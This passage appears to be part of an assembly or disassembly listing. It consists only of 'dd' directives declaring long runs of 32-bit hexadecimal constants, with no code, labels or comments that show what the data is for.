		dd 0B63DA8A4h, 0AC9D42AEh, 42B03BADh, 9E991620h, 69506C05h
		dd 0A26CB9D1h, 45B3E4Dh, 0CBDB9D52h, 0E04F566Eh, 4C5BDE8Ah
		dd 5D5C6742h, 0D0CCA25Eh, 0C6ACC8D5h, 0CED4CBD4h, 436BBE6Ah
		dd 0A6ACF4F7h, 825C73B2h, 0BC787776h, 0F1DDE0ECh, 0E6F6C4E3h
		dd 85C5F7F0h, 125E86D9h, 0CDC1CB0Fh, 919D778Eh,	0FADB9392h
		dd 0CF9E30Ah, 0F0EE00Eh, 0F4A0110Dh, 2A2D79A1h,	0A9E8DCEAh
		dd 0ADAC1B92h, 257034AEh, 4AB303D3h, 0B9F8ECFAh, 0CD317B3Fh
		dd 0D292444Bh, 154EC302h, 0C936AFC5h, 49B7CBCAh, 60C64CDh
		dd 5ACBD312h, 0D9180B07h, 5DDCDBDAh, 966DFD52h,	0E5241717h
		dd 0ED0C6371h, 8A77908Eh, 0F13028A0h, 2EAAA87Dh, 0B683F736h
		dd 0FD3C34B4h, 6B5AC25Bh, 6F046D02h, 71087106h,	0D100B0Bh
		dd 117AD399h, 0A0207D62h, 6FFA16DAh, 1D4F7A6Eh,	9E9521Eh
		dd 242322FCh, 3AC9BCB3h, 7E7E2B6Ah, 0C62F7F7Fh,	35746872h
		dd 0FC58FBB9h, 9CF52DC4h, 71403F60h, 1B468352h,	6B0B4028h
		dd 0EA322CEBh, 0E43E1B38h, 2DB723E9h, 0DED53310h, 522CC24h
		dd 62EBC628h, 0F0FA97C8h, 5A87FD79h, 238F76ACh,	0D49EBB41h
		dd 4CD2B812h, 0FB7655DEh, 13CF20FBh, 13CEEBB1h,	29466FEh
		dd 9A6B69Fh, 0CDDFD82Dh, 0AEFE9BADh, 0ED770299h, 0C64F06D0h
		dd 5CF5719h, 0F9307CE8h, 0DDBA9A2Eh, 0FDB32AABh, 36D2EF81h
		dd 5514230h, 0DEAC7D8h,	436292A7h, 0BD41E2FCh, 0B98E7B48h
		dd 12CA745Dh, 977E83A0h, 0AF320F15h, 0A94B0278h, 0F24AE7D9h
		dd 0AA52AA50h, 1C557696h, 1EE3825h, 3C0157F4h, 29FC6F49h
		dd 0B537F04Ch, 0CE1E3BE8h, 8D980AD9h, 9893E6F0h, 0C526225Ah
		dd 7924CF7Fh, 7A9377A3h, 0C94C0895h, 905942ACh,	9149D4E4h
		dd 64FEA65Eh, 0BA967668h, 95AF36DCh, 54AE4B9Dh,	1DB7F738h
		dd 67641F7Bh, 4FDD2647h, 0E9DF1598h, 0D6A4324h,	1AF6D348h
		dd 750F163Ch, 0B60E2BFDh, 42167E14h, 0B3698AAAh, 0D55A5F6Ch
		dd 0CB3E17F8h, 0E9F2E884h, 0C9570D43h, 6E2C084h, 0C1FB7228h
		dd 35FA97C9h, 0A9876336h, 6A627C07h, 0C6367B18h, 0A62A07E4h
		dd 18395924h, 881B1F62h, 10C4C57Eh, 3D678B89h, 0CC375EA0h
		dd 0CA2204ABh, 30FEDBF8h, 7C9C76C8h, 39104B5Bh,	19E47F5Ch
		dd 5162BFACh, 0B24204CFh, 1EBB23C0h, 0F512BE3Bh, 1ED3F407h
		dd 0D2AD4D4h, 0C1E54E81h, 2502E1FEh, 86F6D0C7h,	3C1AF714h
		dd 0C8E886E4h, 29AF9AA7h, 0C0BE5B6Dh, 0F2CD2814h, 0F996C605h
		dd 7A4ABCA3h, 21D1CB68h, 3FF7DE35h, 0B406A3CFh,	757F47D1h
		dd 424EE2D8h, 0E05304EFh, 0E6AD13B0h, 0E5828C58h, 2B124E7h
		dd 13573E95h, 7166832Fh, 425445Ah, 0B73000B5h, 0EC91E704h
		dd 92A07366h, 0C81EAF57h, 11048EC9h, 776530F3h,	76AE3D80h
		dd 355FC681h, 1E26498h,	0C1F14724h, 572BCF2Dh, 4BF51637h
		dd 0FE0A605Fh, 0BD9A7754h, 909B5E42h, 0B9A03A70h, 4395F954h
		dd 45CA911Bh, 79560CCAh, 5480323h, 91C4879Fh, 1DFAD79Ch
		dd 7AC6FD38h, 514599Ah,	0D63E0883h, 0D06207A4h,	27CED3B4h
		dd 0E0421F65h, 7CCEC55Ch, 171A61E0h, 5BE4DDA0h,	531A4F52h
		dd 8BFEDBD1h, 7C301844h, 0DD833A00h, 14A23F91h,	601188B1h
		dd 6C8F76F8h, 69D3984Bh, 9ED2EF9Ch, 815E35CCh, 0B279AE2Bh
		dd 0A97628B1h, 0AA87DFFCh, 0B14E7784h, 0B29F97AFh, 0C9666B40h
		dd 0E1BF863Ah, 0C9BE5B6Dh, 6D4A27F6h, 24698ACCh, 0B7B2EF11h
		dd 3D477981h, 0D3D7F619h, 0E5377A1h, 24E26F0Dh,	10B336Dh
		dd 89271064h, 293653C5h, 7FE2C9D0h, 9DDBD2F3h, 82DAF7A9h
		dd 0C8336AE0h, 6BF0B93Eh, 0BCAD68Ah, 1E3299C5h,	0C967350h
		dd 677FBBC1h, 0E3FE2A5Dh, 79A3A5DDh, 0E9234265h, 31DF26DEh
		dd 8CDEFB8Dh, 43947568h, 58210160h, 65AF2FD1h, 214A6EC8h
		dd 89070E87h, 0B32643F5h, 0C4B0796Ch, 0A12B0B8Dh, 0EEB24084h
		dd 64C13310h, 0E9E648FDh, 6511AFCh, 1D3AA460h, 4E05714Fh
		dd 35521DC8h, 20E9C758h, 0DF79759h, 8D761070h, 93C15D58h
		dd 1020DD8Ch, 17621368h, 8FCDDA0h, 0D55FF7C1h, 753E58B8h
		dd 0BAB2DA00h, 2C16F3D4h, 0B58110A5h, 27528811h, 0B5079734h
		dd 76D86481h, 0C922AF8Ch, 31AF89E8h, 827DFA54h,	99B660C8h
		dd 0D9DB9F41h, 957A1243h, 9977EDCh, 0B1A6C372h,	44658458h
		dd 0FD4B02C7h, 484AE7D9h, 0E11234F8h, 0DC623F1Dh, 0E6125813h
		dd 426357F4h, 0B6C9EA07h, 7DEA6F15h, 6AD0FBA0h,	0CAC78764h
		dd 593713F0h, 0E5C29F7Ch, 714E2B08h, 0B38BB794h, 0D1D3CA4Fh
		dd 0B0F28FA1h, 61FAEF81h, 0B2842D9h, 0DA54170Fh, 66649CCBh
		dd 200A2845h, 8097C1D2h, 0C0EA3654h, 4BA561FBh,	0D60A2D31h
		dd 6179AB24h, 0C713273Eh, 4A70A23Ch, 0F7EB1729h, 7E779BBDh
		dd 0AEF446E0h, 1B4F7B8Dh, 0AEDBEF11h, 465A77A5h, 7917122Ah
		dd 263F715Bh, 0A3BEE81Ch, 30577A9Fh, 6C86240Fh,	29334C7Ah
		dd 0AEBBCDFDh, 147538Fh, 7AD3E508h, 17011F60h, 96BACCEDh
		dd 22285F48h, 4CE6DF01h, 9132C5Ah, 9091A7DDh, 9274F70h
		dd 8CE406E0h, 0F8122046h, 519AA2C0h, 0F1232F39h, 4E94BBB4h
		dd 0BBD20B2Dh, 357B8FB1h, 0C1072C4Dh, 4C7F86CBh, 0F9E7FC30h
		dd 0B16B80A1h, 3E61417h, 0A8397B9h, 0AEE0FB20h,	466A8896h
		dd 0B44AE813h, 22907FB5h, 9EB1DC08h, 58EE688Eh,	0B6B4E319h
		dd 1232809Ch, 7C92CCF9h, 3053677Dh, 0B2CED408h,	0FD4874A8h
		dd 0E583BCE8h, 253A484Bh, 0C3AADCF9h, 0D7435779h, 568FB4CDh
		dd 0F51B1A38h, 7DAFC4F8h, 0E1225480h, 6A5DFF9Dh, 0E30B595Ch
		dd 7B9DC0C3h, 0DD236280h, 68808CDEh, 0C6F01231h, 496A88BCh
		dd 0E512344Bh, 467081A5h, 31CF1436h, 736A98A1h,	98F12039h
		dd 315B4D8Eh, 0B1F11B1Dh, 46848DA9h, 9A0B102Ch,	234B6F8Ch
		dd 0E06E0C0Bh, 4D5C7484h, 8EE5FA0Eh, 512627Bh, 0A6BDD206h
		dd 5FF95A73h, 8CC4EC32h, 17121F70h, 84ABCEE3h, 3B680A63h
		dd 9B2CB05h, 0DB1E2C7Bh, 629BAFD1h, 6183358h, 5EA2C0EEh
		dd 18A2404Bh, 7A68B7CDh, 0F6E63460h, 3C46C0DDh,	0E5EF0C38h
		dd 54878E18h, 0C10F2438h, 6D93A8C9h, 0C1EB1D27h, 5E67B7ADh
		dd 0DBC7F739h, 1F76A4BDh, 94DDEC15h, 4D57599Ah,	0C6F42729h
		dd 1A637F9Eh, 0A1C60008h, 48EE6E83h, 0C2C60002h, 0E5A7C82h
		dd 76BEB54Ch, 144B557Ch, 0A6B8B7F8h, 0FE4A6C82h, 0B9B1BCDFh
		dd 1F2B4663h, 0C0A6FD94h, 0FD47606Eh, 719B8DD1h, 0F5305B5Dh
		dd 8EA7B903h, 0EB465064h, 787FA2C7h, 0E5E08B57h, 7E97A9B3h
		dd 0DBF64054h, 686F92B7h, 106F847h, 5FA993EEh, 0BE023455h
		dd 59617C8Bh, 31E00221h, 5E5F839Eh, 0AEFF3130h,	284C569Fh
		dd 0CAEAFE1Dh, 2BCA8DAFh, 9EE6EA24h, 214B7D86h,	0A5A04B0Dh
		dd 3B57677Fh, 8CD9F5F0h, 9416271h, 0AFBBD6F3h, 0FD364DE4h
		dd 7EC2EAFEh, 0FE0C4B5Bh, 92BBD7F6h, 1A377C80h,	9AFD5FBh
		dd 73D3B76h, 579BC7D1h,	216396Dh, 5ECBC7F1h, 0EE102649h
		dd 7D9ADDE8h, 233D29h
		dd 3CA3BFDBh, 0D3FB2140h, 427187BBh, 0C0131A4Eh, 478FA5C4h
		dd 0F8CDDF1Fh, 527ABE89h, 0CDE70322h, 387AA660h, 0B4E1EC1Bh
		dd 355B7697h, 0CBED0A04h, 2D7590AAh, 0B9BFDE1Ch, 255D6280h
		dd 0BEDCF012h, 1B06809Dh, 0B5BCD2F1h, 25305887h, 0B0CDDA64h
		dd 59427087h, 8AAEC5C5h, 52B4176h, 90BDDBD3h, 0F7477B85h
		dd 158FB3D0h, 62A3171h,	81A7CDD2h, 0FC225093h, 6A84A5C7h
		dd 0F50B3747h, 719BA3A3h, 0D7FFA365h, 53808CC0h, 0D111273Dh
		dd 8DABADC9h, 0BE022969h, 595F85AAh, 0DFEB1B03h, 7E7E8989h
		dd 0BDF83CE0h, 3A548191h, 0C2DBED2Ch, 497365A8h, 0BD173335h
		dd 3E32806Eh, 0D5803D57h, 4FFA9B80h, 95C50225h,	0F02F6277h
		dd 739EE4FDh, 1D6D6689h, 7EEDE915h, 263A5C75h, 98ABFD88h
		dd 0F374445h, 75C7F1E9h, 0FD2F2C61h, 86CCDBF9h,	1271A67h
		dd 6EAAD402h, 61A3C41h,	56078EE8h, 0F5EBDF9Bh, 0D1462300h
		dd 0F8AEF319h, 86743BAEh, 0E719F755h, 692ACE35h, 0F9D2AB43h
		dd 635FAB9Eh, 4D878E03h, 4CA6C375h, 0EA6513B0h,	0E17EC82Ch
		dd 30526383h, 6A5328C3h, 7862FF31h, 11449B13h, 124D5D1Ah
		dd 2946B064h, 39952FD1h, 411EFB68h, 0A66CEF14h,	0ADAD13F0h
		dd 21499FE2h, 71266B5Eh, 97DAA794h, 893C751Eh, 159B15D4h
		dd 0D27E3538h, 0A21D97F3h, 0B95680F4h, 0DA15D8B7h, 0D1EE7894h
		dd 89862E79h, 0FE3E18F7h, 71F12FCCh, 0F1DE4815h, 0BE6947E4h
		dd 6B790663h, 9ACEDCC3h, 0C083EB08h, 0BD9A5AC8h, 48692FB8h
		dd 0AD2F1A27h, 0EE3EDBEDh, 0EDA9080Fh, 38158B10h, 8A69F617h
		dd 91AE3870h, 0E25E41h,	0DB5E6340h, 0B0C5E607h,	818B3FDDh
		dd 21EA84E4h, 0E290867h, 7D421F1Bh, 10315295h, 0C00DF69Bh
		dd 9E65BD5h, 16474F2Ch,	6104E755h, 2AD37A44h, 79FB8955h
		dd 16EE505Ch, 827FDBB9h, 0B21E04CFh, 6DC123C0h,	215FA670h
		dd 3E5E7B0Dh, 0C2EAC3E2h, 99765348h, 428334BCh,	0B14E7587h
		dd 0B29F8E3Ah, 0C9666D5Ah, 7577E13Ch, 0E1949B5Ch, 0D34E6383h
		dd 13823053h, 65273FDCh, 0B3848EBh, 9D9657F4h, 6C2BE3D6h
		dd 0B6B870F2h, 14C12E03h, 52975E68h, 1C65F30h, 0E5C29F83h
		dd 7415FB7Fh, 525F8BC4h, 89262D6Eh, 16F68933h, 2BF55B38h
		dd 2D0AE8CCh, 846DBB4Fh, 0F8E98ABCh, 0D61A2C0Ah, 0F80739B7h
		dd 0F88126BEh, 481EBADFh, 0B52E6F0Fh, 3F9B87CAh, 0AE799A46h
		dd 0A5424C2Ch, 0BC02A747h, 7DA783C9h, 0CC51DEE0h, 0DCED8E12h
		dd 61561B0Eh, 0B0C9560Dh, 21FE1D26h, 5E2BFA5h, 0FBCF0DA5h
		dd 0AD47200Eh, 6FF3FC7Fh, 3A122FBEh, 839673DCh,	6364746Dh
		dd 0FB419330h, 65AA6CBBh, 0AECEAB88h, 6863DC95h, 0A65DC3E0h
		dd 95327D72h, 29DABF37h, 36066E44h, 0BA16F3D0h,	0C5A087C8h
		dd 5586D7E8h, 6CBA9775h, 29539375h, 72863A8Ch, 825A579Ch
		dd 0E71AC7A4h, 99722B30h, 0F7CCDFBCh, 0D0596B9Ch, 0FD277B49h
		dd 56DF5660h, 55330B7Fh, 4B8F6C78h, 6EF0D802h, 0F9D6B3A8h
		dd 1A5511DCh, 112EB874h, 0B144D4A6h, 11329367h,	0B5927050h
		dd 658AE2ABh, 0CDAA8944h, 4F0E80FBh, 6A9B9FBCh,	945857C8h
		dd 3161E788h, 0DA144376h, 0AA259DFFh, 0A13E88F4h, 824A64FDh
		dd 4E992100h, 4562EC18h, 3EA5AE5h, 8576C1A7h, 0EAC212FDh
		dd 0A8B92F0Ch, 0BAEE15D8h, 3D9AF233h, 0E9260360h, 3AF5B18Ch
		dd 31CED82Ch, 0BFA233D5h, 0BD6903E0h, 6AE59750h, 61FE4900h
		dd 0D537FEB3h, 0D656F3E2h, 85E2BBDAh, 92DB4552h, 0A17F6276h
		dd 0C862335h, 359F74E5h, 0C49EBB68h, 7FBD3515h,	61A953F4h
		dd 65422017h, 0F2DE2783h, 4BDA3714h, 4FD6D0A6h,	947285ACh
		dd 21FFDC3Ch, 0CD5CE744h, 0BAD044E5h, 3EB4F96h,	0DC6CB8ABh
		dd 0DEF4D5BFh, 3AF8FEBBh, 0CB23AF32h, 71EB22E7h, 0B6EA0776h
		dd 1E6914F7h, 2502DF97h, 0AE2CE8C5h, 3D00F714h,	0C9A677B8h
		dd 4401DFECh, 21A8AB0Dh, 6D4E3C04h, 7EC9B390h, 85623FD7h
		dd 11EE3C01h, 0CD8CD834h, 38309C6Eh, 0B5920CD1h, 49D87ED8h
		dd 0CCAF9BD0h, 59367C74h, 9AE2937Ch, 4B727FF7h,	0FD5E349Fh
		dd 96FB4320h, 35D2EF8Ch, 6197C25h, 0C99DB4D8h, 0F523931Ch
		dd 2515B55Dh, 0E61A3740h, 608C98C5h, 18D96D50h,	3C0C97C1h
		dd 12D1BBC3h, 8D45377Ah, 0EB94A2B0h, 9A36EC37h,	713DEB08h
		dd 6D4AA784h, 4926FCB8h, 4C554B6Ch, 0C2D1EF12h,	62DDA7A8h
		dd 791641F0h, 0FB4EFF21h, 16E78457h, 1D3AA57Ah,	0AB86FBF1h
		dd 6636FCCh, 3641CB2Ah,	4D6A15C8h, 0F4B500EDh, 58121F3Ch
		dd 0A19FF741h, 8C0B6842h, 49F3D715h, 0B96ECE2Ch, 36E26863h
		dd 70A26784h, 4EA16850h, 6EA37F1Ch, 9761DE27h, 0FFB4628h
		dd 527BC7C5h, 0E8F5212Bh, 3D8A99B3h, 0F10C3057h, 7585A2CBh
		dd 0D7F00CFBh, 677A81ADh, 0D6E90939h, 0E4A99BBh, 0B4D6FF24h
		dd 0E16C78A6h, 0D4D80838h, 288E7FB5h, 8762EB0Bh, 46DEF2A8h
		dd 0AD2ADE02h, 124E7A8Eh, 0A7BB95F9h, 2D3F5A77h, 0EBC3DF05h
		dd 27366780h, 0C589E2C5h, 15394778h, 9BB6D4F6h,	0CE157016h
		dd 458EEFFAh, 0B16B8B26h, 4DEC0795h, 0A65C932Ah, 836BC6A2h
		dd 0FA186988h, 5787A3C2h, 0E9C6BB35h, 0F6A72F0Ch, 0C1E367B5h
		dd 64E70524h, 19F613A5h, 9A0EEC37h, 594FEB08h, 57AE834Fh
		dd 99B37ECAh, 1EB24F61h, 0B6103F54h, 0FB4B856Ah, 5CE3189Bh
		dd 0FB223429h, 0A7E54BE8h, 439786B2h, 9303D8E5h, 0B4122FBBh
		dd 818D0BDDh, 13B3E1E4h, 17E80776h, 874390F3h, 7E8D4643h
		dd 3D478899h, 9BCF3A0h,	2AA55552h, 21BE081Ch, 0A5663BC3h
		dd 0E1EDC0D4h, 0C5A27F60h, 516DC9B7h, 0B24204CFh, 311E23C0h
		dd 4D85A6C8h, 815E3B1Bh, 0BC290553h, 0D87686EBh, 0E52F6751h
		dd 0CDBF0348h, 0F3828EAFh, 0C8E90A2Fh, 95411279h, 0E1B5F378h
		dd 0A0F72704h, 0EBA565D5h, 0C1A6FB46h, 8D7BF2A8h, 357A1749h
		dd 2906E3B6h, 0A7C2E2FFh, 274A5171h, 1CDA8725h,	19034B65h
		dd 0B93F287Ch, 804E6B3Dh, 1D5F3CA5h, 12668308h,	55DC8D31h
		dd 16A12C38h, 2DCAF440h, 0B9924BBFh, 0BAA7FFDCh, 0D1EE93C5h
		dd 39CF9CADh, 51C66392h, 0E4051D5Eh, 0E85B7A3Ah, 0DC6A8721h
		dd 0C25356C0h, 0A5829F59h, 2E297845h, 714A7794h, 49FC0436h
		dd 0D5B077BAh, 0D6619BF8h, 0ED8AB554h, 0AEFC7395h, 4F6744BAh
		dd 0C36E0B35h, 727FD59Ah, 0A9C64823h, 5623DA0h,	3641CD29h
		dd 4D6A15B8h, 0C5235A18h, 0AB425F2Eh, 0B1F6E00Dh, 79C23714h
		dd 60E6C3A0h, 0D031167Bh, 65D00DA7h, 7C8A2B90h,	79E35745h
		dd 0CC0A125Ch, 0DE2E0BE8h, 1DB25309h, 26BBCC00h, 0F512DCC8h
		dd 0E0088C30h, 0DEEAFBFh, 62A15330h, 0EAC42806h, 7D4A419Ch
		dd 0B26DF720h, 0C96650CCh, 0D9354F71h, 0E1BE9C1Bh, 6D470F73h
		dd 6E4BB390h, 85A2579Ah, 9934071h, 357A1746h, 0A8C9F1A6h
		dd 0EBA624CBh, 501EFB98h, 0CDAB49E8h, 0E9CA94F0h, 0B9C29F7Dh
		dd 714F2C60h, 9474E94h,	0A668335h, 15F35F70h, 55F52B38h
		dd 0FCB8E7EAh, 0F96057C5h, 8EE27CDCh, 5906805Dh, 0EC3A17E3h
		dd 0A9D3E7F5h, 0F8F01A0Ch, 0C1E31405h, 0A6774724h, 360B502Dh
		dd 0D4525F7Ch, 0F138E35Dh, 0BCDAF454h, 4927CE64h, 0D1721A6Ch
		dd 71611B6Fh, 0DA73240Fh, 0FE903350h, 522B769h,	0BB6EE529h
		dd 0ACF881B5h, 69904FB5h, 0A4CA72CCh, 0C2ACF753h, 0CA9907E4h
		dd 999BF0E5h, 375249FCh, 0F55B52D7h, 25A7726h, 0FB63BA60h
		dd 12724F2Ch, 61035925h, 8592F844h, 0F8193D1Ch,	0C5A20B44h
		dd 0F745D1E8h, 11D663FDh
		dd 9EAE904Bh, 0A257AF4Ch, 819E40ACh, 7A92C8F5h,	24F91A36h
		dd 6612BB00h, 75856328h, 5D5BF3F8h, 0ED627E58h,	5A5ADFF4h
		dd 6BE9B78h, 6DE235EEh,	4D43FAC3h, 862FF51h, 58A8BFECh
		dd 12FF3736h, 2946C841h, 0D6BA6FF2h, 0F31EFBD8h, 0BD175E13h
		dd 0E63653C2h, 0BCCE7BF8h, 4616B8F3h, 114B7D4h,	0F3263D28h
		dd 68BD9FACh, 0B78EE8E3h, 1309E704h, 0D6F4F8CDh, 4588FF9Ch
		dd 0D1AE7F40h, 0EC69C6F4h, 0A9D093F5h, 7556640Ch, 0CE0BBB98h
		dd 0A3ACD4B1h, 0A66BD370h, 0A5425789h, 31E4A1DFh, 0CC49A585h
		dd 8930F755h, 0D5EA126Ch, 0ECCF3222h, 2B172C1Eh, 0E956F3E2h
		dd 3A84F1A9h, 2946EB38h, 3ECDEE0Ah, 0B265520Eh,	90135E59h
		dd 0EC51F66Eh, 0B7F8C2Eh, 0CB6D342h, 80AD9EA0h,	6631FE31h
		dd 7D1A0514h, 1EB10820h, 9734F6Ch, 76EEB38Eh, 229D6744h
		dd 39D6001Ch, 0ADE7F4DCh, 652E0BA8h, 0F637D665h, 6946E3EDh
		dd 3BD2AF8Ch, 4146709Dh, 0C393C7A4h, 0E0F91A3Ah, 0E50F5F41h
		dd 0B18E6B48h, 41582C54h, 189C7860h, 0B4D5F5CCh, 4751BB92h
		dd 0D3F30BE4h, 48B6D4B5h, 0A2CBEB3Ch, 405AAB8Dh, 0B9D7FA54h
		dd 0A5485A5h, 0B273CC00h, 61FE1BCEh, 0EDEDA744h, 64B607Fh
		dd 8CE2D1E1h, 162A5D69h, 0F7DF98FEh, 0EE3A604Eh, 7A96BBD6h
		dd 0FA124E67h, 7DABCFA4h, 0DA763C60h, 6A429BC6h, 0F40B3B50h
		dd 719CB8C8h, 0DD15839Ch, 4E6E95ADh, 21C41A32h,	44704C11h
		dd 0C1151F51h, 855D85A5h, 11E2FF29h, 9D7398B8h,	69021941h
		dd 2D4D7896h, 0C71E2F2Ch, 53AA79AFh, 0A7F30C1Eh, 3E027280h
		dd 0BACFFA48h, 17FFB188h, 9BE3FBF3h, 27330F71h,	0B0C79BFDh
		dd 330A2B79h, 87D3ECFEh, 45755260h, 96A3C2C7h, 11231735h
		dd 29B5DCC0h, 0FA173860h, 75B7FB99h, 96A3A27h, 1AB3BFF1h
		dd 499E8969h, 6A03FB2Bh, 0D1E35EA8h, 0E32313A2h, 3126CEFDh
		dd 3AA9FDB4h, 0AA25E10Bh, 53C2B599h, 0D11DDCC3h, 5AC7A3A3h
		dd 46002A7Fh, 0DD95A3BAh, 0A7FA1F4Eh, 748C5B6Bh, 0A3B25F5Ch
		dd 0BA58528Fh, 8562590Bh, 11EECBA8h, 9D7A5734h,	2906E3C0h
		dd 0B5926F4Ch, 411EFBD8h, 0CDAA8764h, 593613F0h, 0E5C29F7Ch
		dd 714E2B08h, 0FDDAB794h, 89664320h, 15F2CFACh,	0A17E5B38h
		dd 2D0AE7C4h, 0B9967350h, 0C882FFDCh, 11D7E90Dh, 0C2B917F4h
		dd 0E9066C16h, 38BD360Ch, 0F92D30ACh, 93B1D62Fh, 0DD6D83AFh
		dd 67A93B60h, 0C171DC4h, 0B1697F92h, 74124557h,	6A3B93AAh
		dd 61FE445Ah, 0F630240Dh, 7E6D3350h, 0A70A011Bh, 952CEC71h
		dd 0B4775FB4h, 1186235Eh, 3512EF70h, 0C19E9BF0h, 71A78CE4h
		dd 0B2B6D34Eh, 612E3735h, 13CA6B07h, 0FBD7CEE7h, 0CCE603A9h
		dd 1271A8DFh, 21BEFD6Bh, 0FD9D57E3h, 0BC166A5Ch, 7B807BC4h
		dd 334A9061h, 0A7399734h, 9443AF00h, 500B27Ah, 39027195h
		dd 1769FD5Bh, 0D8729F30h, 54018AEAh, 68E67BB6h,	186D8EAFh
		dd 731B5E1Ah, 9D32CFE5h, 0A4AA5677h, 76B8A48Fh,	7E11B3D0h
		dd 85A238A6h, 11EECBA8h, 9D7A2B9Ch, 0B7835EC0h,	0D92AF45h
		dd 0A0C1EA8Dh, 0CDAA7F8Ch, 0E77B96F0h, 0E5C2DFB5h, 0EEC7237Dh
		dd 0FD9A9934h, 16A9A7F7h, 15B20836h, 13FBD2F7h,	0A60AA79Dh
		dd 0F95FE9C5h, 452127DCh, 9ADD8B68h, 0DDA9A233h, 0BBC6A380h
		dd 0E4041434h, 0AB6BBEC3h, 906A87FDh, 25FC56E2h, 0ACFE663Ch
		dd 0B40EEBC9h, 0BC9A67AAh, 49268864h, 0D1701A6Ch, 3F767348h
		dd 72C9FE1Fh, 79163C66h, 7F32FD9Bh, 9157CB20h, 0A67AD088h
		dd 6985EF5Ah, 0ED99E0F3h, 3FFC59h, 0CEDDBE1Fh, 0A5EACF79h
		dd 2EA64CFCh, 0A4D639Fh, 0D4DD3EEAh, 6FE6C3A0h,	0C8A447ADh
		dd 0CC7BD2A6h, 0E38A6744h, 6E16FD4Fh, 0D5E80A61h, 5BA50D3Fh
		dd 75EBA873h, 0E80929CEh, 1E385C8Bh, 6B33BD8h, 0C811FE4h
		dd 9976CFB4h, 7FAF96BCh, 618EAB71h, 4C6C24BCh, 7323862Bh
		dd 0D432CFE5h, 21A735FDh, 91462A04h, 0FB1636BFh, 0FB659A4Bh
		dd 91FCEEA0h, 5EA9377Dh, 5202BFE4h, 0B17B8B68h,	0AC5E46BCh
		dd 0CC41088Dh, 0DDB9E23h, 3D3920B6h, 595414Dh, 0A63138A6h
		dd 0FDA9A427h, 0EB295096h, 0F5D20816h, 0A02168A6h, 0EDA51BE9h
		dd 721980F6h, 0E59D53C1h, 0A31198E6h, 0DDA7808Bh, 0A509B016h
		dd 0D57FD883h, 0FFD71E26h, 0F4F61379h, 0D4F59025h, 738D31B3h
		dd 0CBFD2048h, 49658AABh, 0AD8A8B92h, 4061890Dh, 11FB140Ch
		dd 0F1F03350h, 0A7E0D7CDh, 936D6768h, 37A17512h, 235E0B42h
		dd 0B8C5E601h, 0F2197396h, 0A562048Ah, 1839608Dh, 1841D97Ch
		dd 0F39E1B7Fh, 3D76E899h, 303D1DA0h, 2F4A3752h,	76FD4538h
		dd 857BF73Ch, 0F819408Dh, 0C5A28014h, 65FC87E8h, 6B9AC881h
		dd 0D4103E36h, 0F5D26791h, 0E3B5BB18h, 9A6F8AFFh, 99B65FFCh
		dd 19335CAFh, 0B18E6B88h, 40E677D4h, 0C03CA3F0h, 951E4071h
		dd 0E1BE9E78h, 43C62E05h, 71D6B390h, 1D46CAF1h,	6E67263Fh
		dd 9DBA30A6h, 0D49CFB50h, 0E983EC7Fh, 411EFB98h, 5A338864h
		dd 59761C56h, 6A2DEAF0h, 710E1739h, 0FFDAB794h,	884262A8h
		dd 0BDEFBC9Eh, 0CFF5375Bh, 2D62C52Bh, 0EDED5150h, 9F776FDBh
		dd 0A5DF08DBh, 5D3A17B4h, 764E9B80h, 6A5237B9h,	125BAAAAh
		dd 8D6A87F8h, 91F2D3B0h, 0A58A1CBBh, 0B4B6E83Ch, 189A0F41h
		dd 7AA3921Bh, 0D8B24F60h, 0B53E1BF8h, 87F33788h, 0FD3AE67h
		dd 80E27FD5h, 1A262663h, 0A2C5EB7Ch, 0A9C62F51h, 3512EFCBh
		dd 0A806C20Ch, 0C6F4DE88h, 997FF9BDh, 65FA8AFCh, 5CAACA88h
		dd 7D74C0ACh, 0C63E1EA0h, 45A5C6E6h, 0FD313398h, 0B6A9BEDFh
		dd 4E197BF2h, 2033EA3Eh, 255F985Fh, 8F859734h, 69456553h
		dd 9FFAF8Ch, 0E000CA30h, 65DD57BFh, 0D8F91789h,	3A75571Eh
		dd 1C1FC6AAh, 0C2A1BE5Bh, 0C9664CCAh, 8DBB57D3h, 0F23B0A24h
		dd 714AE7D8h, 2DD6B390h, 458BB72Ah, 69850312h, 0A1C6973Ch
		dd 0A1532B57h, 2CF9CE73h, 10A2C5Dh, 0CDAA8F64h,	0D96C60F0h
		dd 0A5EE8639h, 323A2B08h, 0D6D2A02Ch, 0B4033DD9h, 0D5F28FA0h
		dd 46745EDCh, 2DCAF3ABh, 23E703A7h, 39457C62h, 21448B28h
		dd 38B721B4h, 93C66394h, 0E2F0E7AEh, 15CF38CBh,	8D5A47E4h
		dd 2002D3B0h, 4B28A8ECh, 0D7721870h, 1702C7FBh,	0D2BDC3EFh
		dd 15AB11E9h, 72BB8AF8h, 0DCA6758h, 0AE563310h,	0FF3A2FA5h
		dd 0D19A24ADh, 655441B4h, 2E51A3C1h, 35521BBDh,	0C19E7B18h
		dd 91AA0A78h, 0C2138D48h, 0B425F30h, 7773241Fh,	0D85A772Dh
		dd 3DF74073h, 95724F6Ch, 2AAB9BB8h, 32881794h, 39D6FFA9h
		dd 0B61FAE02h, 0D12ECB1Ch, 0F2BA9774h, 73CE73F7h, 0B5BED911h
		dd 9EF5D518h, 0F5BB5F46h, 8D47D043h, 2602DFFCh,	0B37A6B48h
		dd 0A220E064h, 0C9664F76h, 4F316BACh, 21AAB5DDh, 0D3B10504h
		dd 0B0E634D8h, 0C58E30A1h, 11ECCBA8h, 0F178E434h, 53A3DDF8h
		dd 9B92AF40h, 0E383742Fh, 55AAC73Dh, 59362FBCh,	0D63F4E23h
		dd 794E6B3Ch, 91DAB794h, 0BAE3D27Ch, 15F28FA0h,	0F67E5B3Ch
		dd 276277CBh, 0F9628ED5h, 820969DCh, 0A5DF08DBh, 553A17B4h
		dd 0FA13A380h, 0D5D1E7AEh, 15B5588Eh, 288447E4h, 444C937Fh
		dd 7E3A7D51h, 1CABE5D0h, 0FD9AB768h, 0EE1C06C4h, 0D572BB53h
		dd 0E669B61Ah, 0ED8AB355h, 79562310h, 0C563377Eh, 55EE4E1Ch
		dd 0F897E1BCh, 8F862354h, 0BA7CF633h, 0C1DEA733h, 5EA7D64Bh
		dd 0D9B6D344h, 19021FFCh, 0F39E1B81h, 3D662099h, 8E311DA0h
		dd 95327B1Dh, 21FEFBB8h, 0AF17E594h, 888BEFD4h,	9E3F09D6h
		dd 0DA2ECB1Ch, 1DD32101h
		dd 0E9DDC100h, 0FCFFACC8h, 50DE3B88h, 645007BFh, 594264B5h
		dd 25C2DFBCh, 57368948h, 911804E5h, 793DA179h, 70AF1904h
